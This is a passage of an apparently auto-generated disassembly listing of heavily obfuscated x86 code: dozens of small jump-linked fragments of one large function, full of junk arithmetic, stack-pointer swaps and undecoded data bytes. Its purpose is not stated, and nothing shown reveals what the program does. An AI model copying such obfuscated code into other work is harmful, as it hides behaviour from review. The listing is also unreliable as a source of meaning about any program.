; ---------------------------------------------------------------------------
		dd 155FF281h, 814A1448h, 627403CAh, 0F7D2F762h,	37EA81D2h
		dd 8950AE5Bh, 9F53E9D1h, 34FFFFFFh, 240C8B24h, 0FFCDA4E9h
		dd 81E389FFh, 4C3h, 53CEE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5610A6:				; CODE XREF: sub_542C3C+210C5j
		pop	bx
		jmp	loc_562E35
; ---------------------------------------------------------------------------

loc_5610AD:				; CODE XREF: sub_542C3C+14886j
		add	[edx+30h], ecx
		push	[esp+84h+var_84]
		jmp	loc_557DE8
; ---------------------------------------------------------------------------

loc_5610B8:				; CODE XREF: sub_542C3C+11867j
		xor	ecx, [esp+78h+var_78]
		xor	[esp+78h+var_78], ecx
		xor	ecx, [esp+78h+var_78]
		pop	esp
		xor	ebx, eax
		jmp	loc_565B4D
; ---------------------------------------------------------------------------
		db 1, 0F9h, 81h
		dd 365CDFC1h, 86C1811Dh, 8B5C2978h, 0C6E9243Ch,	8300005Bh
		dd 48704C0h, 24248B24h,	0FF6E69E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5610ED:				; CODE XREF: sub_542C3C+1E594j
		shl	edi, 6
		sub	edi, 27FEAF3Ch
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp+70h+var_70]
		pop	esp
		pop	[esp+6Ch+var_6C]
		push	esi
		jmp	loc_565750
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0B8240489h, 0D586950h, 2D05E8C1h,	1E983CCAh, 7967A72Dh
		dd 58C10993h, 0FFC41AE9h, 0BF575AFFh, 5172BFEh,	0C104EFC1h
		dd 2DE902EFh, 8F000043h, 248B2404h, 2434FF24h, 6824048Bh
		dd 79E2h, 54241C89h, 25B8505Bh,	51A9865h, 64B35719h, 4BBC3A2Dh
		dd 0F9C3817Fh, 1761520h, 0F9EB81C3h, 8B761520h,	0EDE92404h
		dd 2D000009h, 7EFD23E2h, 0FF2B32E9h, 835E5AFFh,	0C8904ECh
		dd 0F7E95024h, 57000055h, 20E9E789h, 50FFFFECh,	310AC2B8h
		dd 0C93DE92Eh, 31ADFFFFh, 4EC83D8h, 51241489h, 0FF8C62E9h
		dd 0DEE959FFh, 87FFFF8Ah, 0EAE92434h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5611BF:				; CODE XREF: sub_542C3C+2098Bj
		mov	edi, 5FD56842h
		shr	edi, 4
		or	edi, 4BAD1808h
		shr	edi, 7
		jmp	loc_5610ED
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 29E95804h, 53FFFFFEh, 42474FFh, 24048F5Bh, 0FF8709E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5611ED:				; CODE XREF: sub_542C3C+13FF2j
		push	ebx
		mov	ebx, 56066D1Bh
		sub	[esp+84h+var_80], 64C3683Ah
		push	5546h
		jmp	loc_55D908
; ---------------------------------------------------------------------------

loc_561205:				; CODE XREF: sub_542C3C+10C68j
		inc	ebx
		add	ebx, 0EA752064h
		jmp	loc_55475D
; ---------------------------------------------------------------------------
		db 59h,	1, 0D6h
		dd 647C681h, 91E967ADh,	58FFFFEAh, 0E4E9CF88h, 5BFFFFE9h
		dd 0E9240C33h, 0FFFFB2EEh, 31243C33h, 3C33243Ch, 0C4835C24h
		dd 40504h, 89560000h, 4C681E6h,	83000000h, 64E904EEh, 81FFFFFFh
		dd 3722CBC7h, 4C7816Dh,	11FA11Bh, 4EF81D7h, 811FA11Bh
		dd 3722CBEFh, 0DEE95A6Dh, 81FFFFC2h, 0A50A53EFh, 22C78155h
		dd 16BF930h, 22EF81F7h,	686BF930h, 29A9h, 0B8240489h, 55A50A53h
		dd 0E958C701h, 0FFFF5585h, 3EE9E289h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5612A3:				; CODE XREF: sub_542C3C+1A601j
		add	ebp, esi
		mov	esi, [esp+94h+var_94]
		add	esp, 4
		add	ebp, 4
		xor	ebp, [esp+90h+var_90]
		xor	[esp+90h+var_90], ebp
		xor	ebp, [esp+90h+var_90]
		mov	esp, [esp+90h+var_90]
		or	edx, eax
		jmp	loc_561DB8
; ---------------------------------------------------------------------------

loc_5612C1:				; CODE XREF: sub_542C3C+21F8Aj
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		jmp	loc_5617D3
; ---------------------------------------------------------------------------

loc_5612CE:				; CODE XREF: sub_542C3C+1F3CDj
		xor	edi, esi
		mov	esi, [esp+8Ch+var_8C]
		add	esp, 4
		push	5BA8h
		mov	[esp+8Ch+var_8C], edx
		mov	edx, edi
		mov	ebp, edx
		mov	edx, [esp+8Ch+var_8C]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+90h+var_90]
		pop	esp
		push	[esp+8Ch+var_8C]
		pop	edi
		add	esp, 4
		and	ecx, ebp
		push	[esp+88h+var_88]
		jmp	loc_563559
; ---------------------------------------------------------------------------
		dd 76042Dh, 7251Bh, 0BF573B39h,	1, 0FF538FE9h, 24248BFFh
		dd 0FF2223E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561329:				; CODE XREF: sub_542C3C+12C37j
		or	ebx, edx
		pop	edx
		jmp	loc_55F923
; ---------------------------------------------------------------------------
		db 49h,	81h, 0E1h
		dd 6BC35634h, 0E1C1D9F7h, 21C18105h, 89443928h,	0CB8159CBh
		dd 33AE567Dh, 0FF7256E9h, 0E9CB29FFh, 0FFFF9AFFh, 1326B951h
		dd 0E98175E9h, 55F7F27Ch, 559C889h, 4A4334D8h, 0D6354048h
		dd 165B33Ch, 0F58758C5h, 0A4E9DEF7h, 52FFFFF7h,	24BAh
		dd 6795E900h, 248B0000h, 51685524h, 8B48556Eh, 0C481242Ch
		dd 4, 6370EF81h, 0C78140CEh, 4F131FC7h,	4AE9EF01h, 1FFFF39h
		dd 0C875AD1h, 24248B24h, 0C8AF0F66h, 0E99C5166h, 0FFFF2188h
; ---------------------------------------------------------------------------

loc_5613C4:				; CODE XREF: sub_542C3C+1AD8Ej
		push	796h
		mov	[esp+94h+var_94], esp
		add	[esp+94h+var_94], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	[esp+94h+var_90]
		pop	ebp
		jmp	loc_563D34
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 2BC58104h, 894C2EDBh, 0BA525DEAh, 0BCA1451h
		dd 0FF3FB1E9h, 58C501FFh, 0BAB1E952h, 1C89FFFFh, 9F9BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561416:				; CODE XREF: sub_542C3C+236D0j
		xchg	ebp, edi
		pop	ebp
		sub	edi, 667C716Fh
		push	edi
		push	[esp+94h+var_94]
		pop	ebp
		add	esp, 4
		pop	edi
		dec	ebp
		and	ebp, 471F390Dh
		or	ebp, 336C4857h
		jmp	loc_5671A5
; ---------------------------------------------------------------------------

loc_56143A:				; CODE XREF: sub_542C3C+1E9F5j
		push	ebp
		jmp	loc_561F1D
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4832414h, 0E3895304h, 5655E9h
		db 0
; ---------------------------------------------------------------------------

loc_561451:				; CODE XREF: sub_542C3C+237A9j
		pop	eax
		and	ebp, 2DB55D75h
		sub	ebp, 1
		jmp	loc_55F8D2
; ---------------------------------------------------------------------------
		dd 0E5E9028Fh, 80FFFF20h, 53516EC3h, 5AE970B7h,	1FFFFADh
		dd 0CDE959C8h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56147B:				; CODE XREF: sub_542C3C+16BCAj
		push	edx
		mov	edx, 4
		add	[esp+0A6h+var_A2], edx
		pop	edx
		jmp	loc_554DF4
; ---------------------------------------------------------------------------
		db 9
		dd 0C9FE9EAh, 0E9540000h, 0FFFFCFBAh, 0E9A3C280h, 0FFFF7E3Eh
		dd 5AB568h, 0F8C0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5614AA:				; CODE XREF: sub_542C3C+18D58j
		xor	ebx, 3DE3D90h
		jmp	loc_55749B
; ---------------------------------------------------------------------------
		db 2Dh,	21h, 4Fh
		dd 4AE95EACh, 6800001Fh, 0FFFFFBFFh, 0FF506DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5614C9:				; CODE XREF: sub_542C3C+167D1j
		add	[esp+0AAh+var_AA], 218C6AFFh
		pop	esi
		sub	esi, 218C6AFFh
		pop	ebp
		push	eax
		mov	eax, 5B1D6AF0h
		sub	eax, 6B3952BDh
		sub	eax, 3B527077h
		shr	eax, 1
		push	edx
		mov	edx, 0A5B72C46h
		add	eax, edx
		pop	edx
		push	31B7h
		mov	[esp+0AAh+var_AA], ecx
		mov	ecx, 5E4D7FF3h
		jmp	loc_55CDAB
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0CAh
		dd 0F737966Ch, 7E0C1D8h, 187E9h, 24248B00h, 81E18951h
		dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 2068240Ch, 0E900001Dh
		dd 13EDh, 55241C8Bh, 0C5815D54h, 4, 4C581h, 2C870000h
		dd 0A8E95C24h, 53FFFFBDh, 0CB1F5ABBh, 5BD8290Bh, 8124148Bh
		dd 4C4h, 51D82900h, 357ACDB9h, 59C80139h, 65416405h, 9BBE562Bh
		dd 316DFF32h, 31F731FEh, 8293E9FEh, 0E957FFFFh,	491Bh
; ---------------------------------------------------------------------------

loc_56158C:				; CODE XREF: sub_542C3C+2225Bj
		mov	ch, 41h
		push	ecx
		mov	cl, 2Eh
		shl	cl, 7
		shl	cl, 2
		xor	cl, 41h
		xor	cl, 3Eh
		mov	dh, cl
		jmp	loc_556320
; ---------------------------------------------------------------------------
		dd 230DBF57h, 0C7815079h, 40014E33h, 0F7874747h, 0F787DEF7h
		dd 0FF8AE2E9h, 2434FFFFh, 8324048Bh, 0DF6804C4h, 8900005Eh
		dd 0E2892414h, 0BAC2E950h, 0C87FFFFh, 0A6B4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5615DE:				; CODE XREF: sub_542C3C+14983j
		not	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+9Ah+var_9C+2]
		mov	esp, [esp+9Ah+var_9C+2]
		mov	[esp+9Ah+var_9C+2], edx
		mov	edx, 8F19750Ah
		jmp	loc_5647DD
; ---------------------------------------------------------------------------
		db 83h
		dd 348704C6h, 2C335C24h, 242C3124h, 5C242C33h, 58B568h
		dd 240C8900h, 4EC81h, 1C890000h, 51535024h, 0CB88D188h
		dd 0E9DC8859h, 0F03h
; ---------------------------------------------------------------------------

loc_561630:				; CODE XREF: sub_542C3C+1B841j
		push	edx
		jmp	loc_56143A
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 0F6789E7h, 84B85046h, 313A646Ch, 0FD8958C7h,	891E9h
		db 0
; ---------------------------------------------------------------------------

loc_56164D:				; CODE XREF: sub_542C3C+18152j
		mov	esi, esp
		jmp	loc_561C6D
; ---------------------------------------------------------------------------

loc_561654:				; CODE XREF: sub_542C3C+13EB8j
		neg	eax
		push	ebp
		mov	ebp, 5FE32C27h
		xor	ebp, 43790583h
		inc	ebp
		jmp	loc_55455F
; ---------------------------------------------------------------------------
		dd 0EFC00FB7h, 80C7FE04h, 0F80012F7h, 2CF0005Bh, 0AA2C5A13h
		dd 6FE95366h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561683:				; CODE XREF: sub_542C3C+1BB7Dj
		xor	ebp, [esp+8Ch+var_8C]
		pop	esp
		push	48D8h
		mov	[esp+8Ch+var_8C], esi
		push	[esp+8Ch+var_88]
		pop	esi
		pop	[esp+8Ch+var_8C]
		jmp	loc_55FA64
; ---------------------------------------------------------------------------
		dd 41AFDF05h, 0E9C5891Ah, 5B14h, 24048B66h, 456A68h, 24048900h
		dd 1EA868h, 24248900h, 4240481h, 8B000000h, 0C4812404h
		dd 4, 4BE56h, 0DFE90000h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5616D7:				; CODE XREF: sub_542C3C+17423j
		mov	esp, [esp+54h+var_54]
		jmp	loc_567419
; ---------------------------------------------------------------------------

loc_5616DF:				; CODE XREF: sub_542C3C+10965j
		mov	edi, 0FFFFFFFFh
		sub	ebx, edi
		pop	edi
		and	ebx, 46030AE9h
		shr	ebx, 8
		add	ebx, 7D3B489Fh
		xor	edi, ebx
		mov	ebx, [esp+5Ch+var_5C]
		add	esp, 4
		add	esi, 302336EDh
		add	esi, edi
		sub	esi, 302336EDh
		pop	edi
		xchg	esi, [esp+54h+var_54]
		pop	esp
		push	22F4h
		mov	[esp+54h+var_54], eax
		push	7C10h
		mov	[esp+58h+var_58], ecx
		push	5E21h
		mov	[esp+5Ch+var_5C], ebp
		mov	ebp, 73442EACh
		push	1203h
		mov	[esp+60h+var_60], esi
		push	edi
		push	3F797AE0h
		pop	edi
		add	edi, 33CAB3C8h
		jmp	loc_55E6D0
; ---------------------------------------------------------------------------

loc_56174B:				; CODE XREF: sub_542C3C+209FBj
		sub	[esp+64h+var_60], ebp
		pop	ebp
		jmp	loc_55EDD7
; ---------------------------------------------------------------------------

loc_561755:				; CODE XREF: sub_542C3C+19041j
		pop	edi
		jmp	loc_5639B7
; ---------------------------------------------------------------------------

loc_56175B:				; CODE XREF: sub_542C3C+20C48j
		push	ebx
		mov	bh, 8Ah
		mov	al, 3Eh
		xor	al, bh
		pop	ebx
		push	eax
		mov	al, 63h
		shl	al, 8
		sub	al, 0E5h
		add	bl, 0AEh
		jmp	loc_55AF6D
; ---------------------------------------------------------------------------
		db 83h
		dd 248904ECh, 24048324h, 241C8B04h, 5204C483h, 0FFB3F2E9h
		dd 58C301FFh, 0EC83C301h, 240C8904h, 1A6CE9h, 60676800h
		dd 4890000h, 0AFE95424h, 2800000Ch, 49B04D8h, 1C8B6671h
		dd 268C6824h, 3C890000h, 815F5424h, 4C7h, 136E6800h, 1C890000h
		dd 2BB24h, 12E90000h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5617D3:				; CODE XREF: sub_542C3C+1E68Dj
		push	eax
		xchg	ecx, [esp+90h+var_90]
		xor	ecx, edx
		xor	edx, ecx
		xor	ecx, edx
		not	edx
		xor	ecx, edx
		xor	edx, ecx
		xor	ecx, edx
		xchg	ecx, [esp+90h+var_90]
		push	[esp+90h+var_90]
		push	[esp+94h+var_94]
		mov	eax, [esp+98h+var_98]
		jmp	loc_55B982
; ---------------------------------------------------------------------------
		dw 0E681h
		dd 417C7DE6h, 0B26EE81h, 0F201CDD6h, 5AD1295Eh,	0E959CF89h
		dd 48E7h, 0E9E08950h, 27F0h, 4743E581h,	0EDC11A0Ch, 3E52E904h
		dd 51ADFFFFh, 4E8868h, 241C8900h, 0A2FCFBBh, 44CB8134h
		dd 8147F950h, 4427F6E3h, 6EBA5255h, 8138551Bh, 7A12ACF2h
		dd 55EA817Fh, 29199FF7h, 1529E9D3h, 685A0000h, 218Dh, 0FFEAB1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561865:				; CODE XREF: sub_542C3C+1C24Dj
		add	eax, 4
		xchg	eax, [esp+94h+var_94]
		pop	esp
		jmp	loc_564B1F
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FF692AE9h, 8BFA89FFh, 0BF68243Ch, 89000007h, 0E2892414h
		dd 0FFB549E9h, 36685AFFh, 89000072h, 0F7E9241Ch
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56189B:				; CODE XREF: sub_542C3C+16273j
		pop	ebp
		push	edx
		push	ebx
		mov	ebx, 0BDC6F8Eh
		add	ebx, 3BECBD46h
		mov	edx, ebx
		pop	ebx
		jmp	loc_563FEA
; ---------------------------------------------------------------------------

loc_5618B1:				; CODE XREF: sub_542C3C+1D0C7j
		push	eax
		mov	eax, 7D3C04C5h
		and	edx, eax
		jmp	loc_55C42F
; ---------------------------------------------------------------------------
		dw 0B353h
		dd 0E9DE2814h, 0FFFF6D08h, 24B353ACh, 0E951CBFEh, 6CA1h
; ---------------------------------------------------------------------------

loc_5618D4:				; CODE XREF: sub_542C3C+23F9Dj
		xor	ebp, ecx
		push	[esp+54h+var_54]
		pop	ecx
		jmp	loc_5541C7
; ---------------------------------------------------------------------------

loc_5618DF:				; CODE XREF: sub_542C3C+245FFj
		add	esi, edx
		pop	edx
		add	esi, edx
		sub	esi, 3AAC1849h
		pop	edx
		and	ebp, esi
		mov	esi, [esp+4Ch+var_4C]
		add	esp, 4
		jmp	loc_559C81
; ---------------------------------------------------------------------------
		db 81h
		dd 4074DFF2h, 5AD72111h, 0AF5CC781h, 0F901FFFFh, 4C1835Fh
		dd 2474FF51h, 48F5904h,	0FFFE924h, 0E95F0000h, 1E77h, 0E9E08950h
		dd 57CAh, 3F2E959h, 0E95C0000h,	27BBh, 0E904C483h, 519Bh
; ---------------------------------------------------------------------------

loc_561940:				; CODE XREF: sub_542C3C+1CA24j
		mov	[esp+0A6h+var_A6], esi
		mov	esi, 158B45FDh
		jmp	loc_55FF33
; ---------------------------------------------------------------------------

loc_56194D:				; CODE XREF: sub_542C3C+189E1j
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_563FE4
; ---------------------------------------------------------------------------

loc_561959:				; CODE XREF: sub_542C3C+171ABj
		xor	ebx, eax
		jmp	loc_55E532
; ---------------------------------------------------------------------------
		dd 0D6685355h, 5B54DA60h, 0D7F7FB87h, 8143FB87h, 0C24F45E3h
		dd 71FBE91Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56197A:				; CODE XREF: sub_542C3C+1A587j
		xor	ebx, 33D513CBh
		shl	ebx, 5
		sub	ebx, 6003D1Fh
		dec	ebx
		or	ebx, 60DB2D93h
		inc	ebx
		add	ebx, 0C592FBFh
		or	ebx, 552A6EC2h
		sub	ebx, 43372EB4h
		add	eax, ebx
		pop	ebx
		and	ecx, eax
		pop	eax
		push	edi
		mov	edi, 41696EADh
		shr	edi, 8
		not	edi
		shr	edi, 2
		neg	edi
		sub	edi, 61280B78h
		push	ebp
		jmp	loc_554452
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 52000000h, 3F2068h, 24348900h, 6008C468h, 0DEF75E5Eh
		dd 6BAABD55h, 67E912C9h, 66000039h, 68240C8Bh, 6C60h, 0E9241489h
		dd 0FFFF9B08h
; ---------------------------------------------------------------------------

loc_5619F8:				; CODE XREF: sub_542C3C+21EBBj
		pop	edx
		xor	edx, ecx
		mov	ecx, [esp+0AAh+var_AA]
		jmp	loc_559DD7
; ---------------------------------------------------------------------------

loc_561A03:				; CODE XREF: sub_542C3C+16D94j
		add	esp, 4
		sub	esi, edx
		push	[esp+0B2h+var_B2]
		jmp	loc_563E37
; ---------------------------------------------------------------------------
		dd 9DE9C801h, 0C1FFFF35h, 0E5C103E5h, 6EDC108h,	0FFBA64E9h
		dd 76C50DFFh, 0BE563CE8h, 5C334A83h, 6BBAF681h,	0F0215A19h
		dd 5E2434FFh, 4C481h, 0F7480000h, 2A82E9D0h, 0DFF7FFFFh
		dd 480FE947h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561A52:				; CODE XREF: sub_542C3C+12DFDj
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+0A6h+var_A6]
		xor	[esp+0A6h+var_A6], esi
		xor	esi, [esp+0A6h+var_A6]
		mov	esp, [esp+0A6h+var_A6]
		jmp	loc_5600D5
; ---------------------------------------------------------------------------
		db 0BEh, 8Dh, 11h
		dd 0F72909EFh, 8324348Bh, 0B8E904C4h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561A7F:				; CODE XREF: sub_542C3C+17270j
		add	ebp, 2D1B4B71h
		pop	edi
		push	0CE1h
		mov	[esp+78h+var_78], edi
		push	edx
		mov	edx, 51B34FA6h
		jmp	loc_55B64F
; ---------------------------------------------------------------------------
		db 89h,	0CAh, 0E9h
		dd 5F16h, 66EF8166h, 0D7F7664Ah, 0ECC78166h, 0F82966C9h
		dd 0D801665Fh, 2E120566h, 1B6B2D66h, 0E9241C8Bh, 0FFFFD143h
; ---------------------------------------------------------------------------

loc_561AC4:				; CODE XREF: sub_542C3C+2070Ej
		mov	ebx, [esp+7Ch+var_7C]
		push	0CDEh
		mov	[esp+80h+var_80], ebp
		jmp	loc_56564D
; ---------------------------------------------------------------------------

loc_561AD4:				; CODE XREF: sub_542C3C+1CB7Cj
		pop	ebp
		sub	edi, 7729506Eh
		sub	edi, 40E077C2h
		add	edi, eax
		add	edi, 40E077C2h
		add	edi, 7729506Eh
		pop	eax
		sub	edi, 192BFDCAh
		push	261Ah
		mov	[esp+78h+var_78], edx
		sub	esp, 4
		jmp	loc_565559
; ---------------------------------------------------------------------------
		dw 0F386h
		dd 41E9C3FEh
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561B0F:				; CODE XREF: sub_542C3C+12155j
		push	ebp
		mov	ebp, 19385749h
		xor	ebx, ebp
		mov	ebp, [esp+78h+var_78]
		add	esp, 4
		pop	edi
		jmp	loc_560DF8
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4C481h, 0FB010000h, 0B850h, 0D8010000h, 0BA52h, 0C2010000h
		dd 585A2A88h, 5B2434FFh, 81E68956h, 4C6h, 4C68300h, 5C243487h
		dd 15FAE9h, 0D3C78100h,	0E907375Ch, 0FFFF823Dh,	4C481h
		dd 0C3810000h, 4, 8B241C87h, 54562424h,	8E9515Eh, 8900006Ah
		dd 0C8BA52E1h, 8164313Bh, 787A5EF2h, 92EA8161h,	0E9054941h
		dd 0DABh
; ---------------------------------------------------------------------------

loc_561B98:				; CODE XREF: sub_542C3C+1CC06j
		xchg	eax, ebp
		push	eax
		inc	[esp+54h+var_54]
		pop	eax
		push	ebx
		mov	ebx, 106F18D5h
		inc	ebx
		add	ebx, 3AA70E6Fh
		inc	ebx
		jmp	loc_554C05
; ---------------------------------------------------------------------------

loc_561BB1:				; CODE XREF: sub_542C3C+1849Fj
		pop	ecx
		push	esi
		push	71F76986h
		mov	esi, [esp+8Ch+var_8C]
		add	esp, 4
		add	esi, 3F2E49DDh
		push	ecx
		push	eax
		mov	eax, 106F16EEh
		or	eax, 91A4628h
		sub	eax, 0D0300936h
		mov	ecx, eax
		pop	eax
		xor	esi, ecx
		pop	ecx
		inc	esi
		jmp	loc_5687A8
; ---------------------------------------------------------------------------
		dd 94207A05h, 3E78E97Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561BEE:				; CODE XREF: sub_542C3C+14891j
		push	edx
		dec	[esp+88h+var_88]
		jmp	loc_5659EB
; ---------------------------------------------------------------------------
		db 68h
		dd 0
		dd 8B240C29h, 0C768240Ch, 8900007Ch, 0E789243Ch, 0FF1972E9h
		dd 0E95352FFh, 0FFFF2BFAh, 0CFC580h, 240C8BEFh,	6804C483h
		dd 4B1Fh, 0FF3449E9h, 6656B7FFh, 2801B151h, 0C8B66CFh
		dd 2C48124h, 0E9000000h, 0FFFF5D39h, 8124148Bh,	4C4h, 18E95500h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_561C53:				; CODE XREF: sub_542C3C+21FFDj
		push	eax
		mov	eax, 246528C9h
		xor	edi, eax
		pop	eax
		push	esi
		mov	esi, edi
		mov	edx, esi
		pop	esi
		jmp	loc_5656E6
; ---------------------------------------------------------------------------
aS7		db '[é7 ',0
		db 0
; ---------------------------------------------------------------------------

loc_561C6D:				; CODE XREF: sub_542C3C+1EA13j
		add	esi, 4
		add	esi, 4
		push	esi
		push	[esp+48h+var_44]
		pop	esi
		jmp	loc_5664BB
; ---------------------------------------------------------------------------
		dd 0F0DBEF81h, 0BA529257h, 410503EFh, 7F45EA81h, 0E2810F30h
		dd 0BFC522Bh, 2A97BB53h, 0B1E95753h, 83FFFF90h,	0B5E904C4h
		dd 1000003h, 242C8BE8h,	4C481h,	0E8830000h, 1DC96804h
		dd 4890000h, 2474FF24h,	48F5804h, 0C895C24h, 0C0B3B124h
		dd 0C18002E9h, 62BBE99Bh, 4EB90000h, 0E95ADF18h, 0FFFF605Bh
		dd 1C4FEB81h, 0BA521930h, 3E991076h, 814AD2F7h,	3A48EDE2h
		dd 1FE2817Fh, 537EBE1Eh, 93934BBh, 67BFE901h, 34FF0000h
		dd 24048B24h, 0E9E08950h, 6BE0h, 0E9D60159h, 19FAh, 5004C483h
		dd 70E9E089h, 56FFFFEBh, 0C681E689h, 4,	0F7B95155h, 0E94F2B58h
		dd 5404h
; ---------------------------------------------------------------------------

loc_561D44:				; CODE XREF: sub_542C3C+15A86j
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+88h+var_88]
		mov	esp, [esp+88h+var_88]
		jmp	loc_555092
; ---------------------------------------------------------------------------
		db 29h
		dd 6BA9E9F2h, 0E950FFFFh, 4700h, 2610F281h, 7DE92AD2h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561D77:				; CODE XREF: sub_542C3C+1B331j
		push	edx
		jmp	loc_5551DE
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 4EB8300h, 0E9241C87h, 0FFFFC65Bh, 0A05EA6BFh
		dd 58C7310Ch, 15FF889h,	8B042444h, 22E92404h, 89FFFFC1h
		dd 0CE3158C1h, 592434FFh, 0E904C483h, 2EEh
; ---------------------------------------------------------------------------

loc_561DB8:				; CODE XREF: sub_542C3C+1E680j
		shl	edx, 1
		jmp	loc_557A05
; ---------------------------------------------------------------------------
		db 66h
		dd 81240C8Bh, 4ECh, 242C8900h, 0DE568h,	24248900h, 4240481h
		dd 0E9000000h, 4980h, 0FE3DEE80h, 0B1F680CEh, 0FF7869E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561DED:				; CODE XREF: sub_542C3C+16931j
		sub	esp, 4
		jmp	loc_564FE7
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFF662Ch, 5C241C87h, 32D668h, 30BFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561E0E:				; CODE XREF: sub_542C3C+11EFBj
		push	edi
		push	746C73BFh
		push	[esp+80h+var_80]
		jmp	loc_562BDB
; ---------------------------------------------------------------------------

loc_561E1C:				; CODE XREF: sub_542C3C+1889Cj
		push	ecx
		mov	ecx, 5BEA4369h
		or	eax, ecx
		pop	ecx
		shr	eax, 4
		not	eax
		neg	eax
		sub	esp, 4
		jmp	loc_55A9A6
; ---------------------------------------------------------------------------
		db 0ACh
		dd 6602EC83h, 0B3241C89h, 0A8ACE929h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561E46:				; CODE XREF: sub_542C3C+1E14Ej
		mov	eax, esp
		jmp	loc_559C4E
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 5Fh
		dd 81FFFF91h, 7978D7EAh, 9EF2816Ch, 0C14EEB69h,	0F28104EAh
		dd 5933417Dh, 0E95AD129h, 0FFFFFAAEh
; ---------------------------------------------------------------------------

loc_561E70:				; CODE XREF: sub_542C3C+139F6j
		sub	eax, 77793F77h
		push	ebx
		push	edx
		mov	edx, 65783976h
		mov	ebx, edx
		jmp	loc_565703
; ---------------------------------------------------------------------------
		db 45h
		dd 0FFFB8EE9h, 468FFh, 15A0000h, 2434FFD3h, 61DDE9h, 4C28100h
		dd 0E9000000h, 0FFFF32D3h
; ---------------------------------------------------------------------------

loc_561EA4:				; CODE XREF: sub_542C3C+169DCj
		sub	esp, 4
		mov	[esp+64h+var_64], esi
		pop	edx
		jmp	loc_567861
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 81000000h,	4E9h, 240C8700h, 243C895Ch, 0FF8ACFE9h
		dd 4ECE81FFh, 810FCD24h, 3C4447F6h, 8045E96Ch, 525FFFFFh
		dd 0B703DDBAh, 0FFEA8123h, 81FFFFFFh, 1C272DE2h, 26C28176h
		dd 81343F5Ch, 0CE96BC2h, 0E9D529ADh, 0FFFFCFB0h, 24148966h
		dd 63E993B2h, 1FFFF85h,	46C181D9h, 5B55A846h, 0FFBD5AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561F1D:				; CODE XREF: sub_542C3C+1E7FFj
		pop	edx
		jmp	loc_55612F
; ---------------------------------------------------------------------------

loc_561F23:				; CODE XREF: sub_542C3C+1765Fj
		add	cl, 61h
		sub	al, 0ACh
		add	al, cl
		add	al, 0ACh
		jmp	loc_560B5F
; ---------------------------------------------------------------------------
		db 68h,	85h, 65h
		dd 24890000h, 24048124h, 4, 5524048Bh, 3269E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561F4A:				; CODE XREF: sub_542C3C+19EB7j
		add	ebp, 4
		jmp	loc_55DDAC
; ---------------------------------------------------------------------------
		db 0BEh, 4Bh, 67h
		dd 0F3892196h, 0FF505FE9h, 241489FFh, 1E7768h, 24348900h
		dd 0FF783CE9h, 241C8BFFh, 0FF23A8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561F79:				; CODE XREF: sub_542C3C+12217j
		push	ecx
		mov	ecx, 0F9557A5h
		jmp	loc_562A52
; ---------------------------------------------------------------------------
		dd 0BA241489h, 4, 0E95AD501h, 0FFFFA4CDh, 1EC568h, 24148900h
		dd 4EC81h, 4890000h, 38E95324h
		db 17h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561FAB:				; CODE XREF: sub_542C3C+1D123j
		pop	ebx
		push	[esp+74h+var_74]
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
